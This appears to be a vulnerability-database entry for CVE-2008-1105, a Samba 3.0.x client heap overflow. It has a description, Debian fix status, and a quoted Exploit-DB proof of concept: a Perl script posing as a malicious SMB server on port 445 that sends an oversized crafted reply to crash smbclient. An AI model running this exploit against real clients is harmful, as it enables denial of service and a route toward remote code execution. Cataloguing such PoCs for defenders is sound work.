CVE-2008-1105
Description
Heap-based buffer overflow in the receive_smb_raw function in util/sock.c in Samba 3.0.0 through 3.0.29 allows remote attackers to execute arbitrary code via a crafted SMB response.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)
#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#
use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);
while(my $csock = $sock->accept())
{
print $csock "\x00" .
"\x01\xff\xff" .
"\x41" x 131071;
}
# milw0rm.com [2008-06-01]OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1:3.0.30-1 |
| sid | Fixed | 1:3.0.30-1 |
| forky | Fixed | 1:3.0.30-1 |
| bullseye | Fixed | 1:3.0.30-1 |
| bookworm | Fixed | 1:3.0.30-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.